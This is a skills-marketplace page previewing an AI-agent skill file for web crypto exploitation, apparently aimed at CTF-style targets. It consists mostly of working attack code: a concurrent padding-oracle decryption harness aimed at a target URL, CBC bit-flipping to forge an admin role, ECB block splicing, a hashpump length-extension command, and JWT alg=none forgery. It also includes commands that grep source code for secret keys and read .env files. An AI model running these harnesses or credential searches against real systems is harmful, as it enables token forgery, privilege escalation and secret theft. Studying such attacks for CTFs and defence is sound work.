Skip to main content

crypto

Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 2일 17:44
감지된 SKILL.md 언어
영어
스타
5,522
포크
1,048

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
crypto
description
Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"padding oracle, Vaudenay, padding-oracle attack, CBC, AES-CBC, AES-ECB, ECB pattern, ECB block substitution, cut-and-paste, bit-flipping, IV manipulation, HMAC bypass, hash-length extension, length extension, MD5 length extension, SHA1 length extension, JWT alg confusion, JWT none, JWT alg=none, base64 cookie, encrypted cookie, encrypted token, captcha, encrypted captcha, crypto challenge, cipher"}
# Web Crypto Exploitation Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: **find the oracle, prove the oracle is real, then iterate within a hard request budget**. Without the proven oracle the attack burns the cycle. ## Step 0 — Key Discovery (Do Before ANY Network Attack) **Check if the application key is hardcoded in source.** CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe: ```bash # Find app source in the workspace find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20 # Grep for hardcoded keys grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20 # Also check environment files cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null ``` **If the key is found**, decrypt offline immediately — no oracle, no network requests: ```python import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding as crypto_padding KEY = b'C' * 32 # replace with discovered key cookie = "<base64-cookie-from-browser>" raw = base64.b64decode(cookie) iv, ct = raw[:16], raw[16:] cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv)) pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize() # Remove PKCS7 padding unpadder = crypto_padding.PKCS7(128).unpadder() plaintext = unpadder.update(pt) + unpadder.finalize() print("plaintext:", plaintext) ``` Only proceed to the oracle-based attack below if no key is found in source. ## Recognition Signals Trigger this skill when ANY of the following are present: - **Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES)**. Length boundaries are the giveaway: `len(b64decode(token)) % 16 == 0` and not 32 or 48 → likely 1-2 blocks of CBC; `% 16 == 0` with 32-64 bytes → IV+ciphertext pattern. - **Distinct error responses for "invalid padding" vs "invalid auth/decryption"**. Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle. - **JWT** in `Authorization: Bearer <three-base64-segments-separated-by-dots>`. Always inspect `alg` header (`alg=none`, `alg=HS256` with public-key confusion, `alg=RS256→HS256` substitution). - **Repeated 16-byte ciphertext blocks** within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates. - **Server returns separate encrypted blob + tag/HMAC concatenated** — candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g. `MD5(secret || message)`). - **Challenge tag** includes `crypto`, `cipher`, `oracle`, `captcha`, `encrypted_captcha`, `padding`, `hmac_bypass`, `jwt`, `length_extension`. ## Confirm-Oracle Gate **STOP** — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side. **Layout detection (run before the gate):** Decode the token and determine the IV/CT layout. AES-CBC tokens always use `IV(16) || CT(16 * N)` — the first 16 bytes are always the IV. Confirm: ```python import base64 raw = base64.b64decode("<TOKEN>") print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}") # len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext) # len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext) # len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext) # The IV is ALWAYS raw[:16]. Ciphertext is raw[16:]. ``` **Also identify the correct cookie/parameter name.** Check the response headers from a GET request to confirm the cookie name: ```bash curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie' ``` Use that exact cookie name (e.g. `captcha`, `session`, `token`) in every subsequent request. ```bash timeout 60 python3 -u -c ' import base64, requests, sys URL = "https://<TARGET>/decrypt" TOKEN = "<base64-cookie-or-token-from-recon>" ct = bytearray(base64.b64decode(TOKEN)) # Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block) flipped = bytearray(ct) flipped[-17] ^= 0x01 # Probe B: completely random ciphertext (corrupts MAC/auth too, not just padding) import os random_ct = bytearray(os.urandom(len(ct))) for label, payload in [("flip-pad", flipped), ("random", random_ct)]: b64 = base64.b64encode(bytes(payload)).decode() r = requests.get(URL, cookies={"token": b64}, timeout=5) sys.stdout.write(f"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\n") sys.stdout.flush() ' 2>&1 | tee oracle_gate.txt ``` **Pass criteria** (any one): - Status code differs between flip-pad and random. - Body length differs by ≥1 byte (after stripping timestamps). - Response body string differs in the leading 200 chars (e.g. "Invalid padding" vs "Invalid token"). - Response time consistently differs by ≥50ms across 3 repeats (timing oracle — fragile, last resort). If gate FAILS (no pass criterion met before the harness's outer `timeout` fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with "no padding oracle observable on `<endpoint>`; check other endpoints or token sinks". If gate PASSES: continue with the targeted attack below. Capture the `flip-pad` and `random` responses as the oracle's "VALID-PAD" and "INVALID" templates. **Oracle predicate — generic formulation (critical):** The oracle has exactly TWO observable states: "padding valid" and "padding invalid." The INVALID state is the one consistent with fully-random ciphertext (your `random` probe above). Define your predicate as: ```python # KNOWN_BAD = (status_code, body_prefix) from the random probe KNOWN_BAD = (r_random.status_code, r_random.text[:200]) def valid_pad(response): return (response.status_code, response.text[:200]) != KNOWN_BAD ``` **Do NOT hardcode** `status == 403` or `"Invalid padding" in text` as your oracle check. Many Flask/Express apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These **500s ARE valid-pad signals** — they differ from the random-ciphertext response, so `valid_pad()` returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded. ## 1. Padding Oracle (Vaudenay) — Full Walkthrough Decrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid. ```bash timeout 600 python3 -u -c ' import base64, concurrent.futures, requests, sys, os URL = "http://<TARGET>/" # adjust path/method to match the vulnerable endpoint TOKEN = "<base64-blob>" # base64 cookie value captured from recon COOKIE_NAME = "captcha" # use the EXACT cookie name from Set-Cookie header BLOCK = 16 MAX_REQUESTS = 4096 # hard budget — abort if we hit it # Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first. # Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals. ct = base64.b64decode(TOKEN) assert len(ct) % BLOCK == 0 blocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)] session = requests.Session() budget = [MAX_REQUESTS] # Calibrate oracle: send fully-random ciphertext, record the response signature _rand = os.urandom(len(ct)) _r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5) KNOWN_BAD = (_r.status_code, _r.text[:200]) sys.stdout.write(f"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\n"); sys.stdout.flush() def is_valid_pad(forged_iv, target_block): """Returns True if oracle says padding is valid (response differs from KNOWN_BAD).""" if budget[0] <= 0: raise RuntimeError("request budget exhausted") budget[0] -= 1 blob = base64.b64encode(forged_iv + target_block).decode() r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5) return (r.status_code, r.text[:200]) != KNOWN_BAD def crack_block(prev, target): """Recover plaintext of `target` by manipulating `prev`.""" intermediate = bytearray(BLOCK) for byte_idx in range(BLOCK - 1, -1, -1): pad_value = BLOCK - byte_idx # Try every possible byte at byte_idx until oracle reports valid padding forged = bytearray(BLOCK) for k in range(byte_idx + 1, BLOCK): forged[k] = intermediate[k] ^ pad_value # Parallelize the 256-byte search (bounded workers) with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex: futures = {} for guess in range(256): f = bytearray(forged) f[byte_idx] = guess futures[ex.submit(is_valid_pad, bytes(f), target)] = guess for fut in concurrent.futures.as_completed(futures): if fut.result(): intermediate[byte_idx] = futures[fut] ^ pad_value break else: raise RuntimeError(f"no valid pad found at block byte_idx={byte_idx}") plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK)) return plaintext recovered = b"" # block 0 is the IV; decrypt blocks 1..N using their predecessors as "prev" for i in range(1, len(blocks)): sys.stdout.write(f"=== decrypting block {i} (budget left {budget[0]}) ===\n") sys.stdout.flush() pt = crack_block(blocks[i-1], blocks[i]) sys.stdout.write(f"block {i} plaintext: {pt!r}\n") sys.stdout.flush() recovered += pt sys.stdout.write(f"=== full plaintext: {recovered!r} ===\n") ' 2>&1 | tee padding_oracle.txt ``` **Request budget per block**: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push `max_workers` past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use). **First-block verification**: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit: - Is the oracle predicate right? Print `KNOWN_BAD` and a few live responses — verify `(status, body[:200]) != KNOWN_BAD` fires on valid-pad cases. - Is parallelism throttled by the server (rate limit, WAF, session lock)? Drop `max_workers` to 4 and rerun. - Is the budget exhausted before any block? Increase `MAX_REQUESTS`, or accept this server is too slow and switch to a non-oracle attack. ## 2. CBC Bit-Flipping When the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext (block N+1 itself is corrupted to garbage). ```python # Known plaintext at position i → desired plaintext at position i. # Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i] import base64 TOKEN = "<base64>" ct = bytearray(base64.b64decode(TOKEN)) # E.g. flip "user=guest" → "user=admin" inside block 1, byte 5 KNOWN, DESIRED = b"guest", b"admin" for i in range(min(len(KNOWN), len(DESIRED))): ct[i + 5] ^= KNOWN[i] ^ DESIRED[i] print(base64.b64encode(bytes(ct)).decode()) ``` Block N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp / nonce that's never read). ## 3. AES-ECB Attacks ### Pattern detection Two identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect: ```python import base64 ct = base64.b64decode("<TOKEN>") blocks = [ct[i:i+16] for i in range(0, len(ct), 16)] print("blocks:", len(blocks), "unique:", len(set(blocks))) # unique < total → ECB confirmed ``` ### Cut-and-paste If the application encrypts `<attacker-controlled prefix> | <user-data> | <suffix>` under ECB and lets the attacker register/login multiple times, you can capture aligned blocks containing chosen plaintext (e.g. `admin\x0b\x0b\x0b...`) and splice them into another user's token. ```python # 1. Register a user whose name positions "admin" + valid PKCS7 padding into a clean block. # 2. Capture that ciphertext block. # 3. Register a normal user. Capture their token. # 4. Replace the block holding "user" with the block holding "admin". # 5. Submit forged token. ``` ### Prefix/suffix recovery If you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB: 1. Find block size: vary prefix length, watch for first response-length jump of `BLOCK_SIZE`. 2. Per byte: send `"A"*(BLOCK_SIZE-1)`, capture block, then for each `g in 0..255` send `"A"*(BLOCK_SIZE-1) + g`, compare blocks — match reveals the byte. 3. Slide the prefix one byte left and repeat until the secret is exhausted. ## 4. HMAC / Signature Bypass ### Hash-length extension If the MAC is `MD5(secret || message)` or `SHA1(secret || message)` (no HMAC construction), and you know `len(secret) + len(message)` and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: `hashpump` or `hash-length-attack` (Python). ```bash # hashpump: append "&admin=true" to a signed message hashpump -s <orig_mac> -d "<orig_message>" -k <secret_len_guess> -a "&admin=true" ``` ### JWT alg confusion - **`alg=none`**: strip signature, set header `{"alg":"none","typ":"JWT"}`, set payload, send `<header>.<payload>.` (empty signature). Many libraries accept it.
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기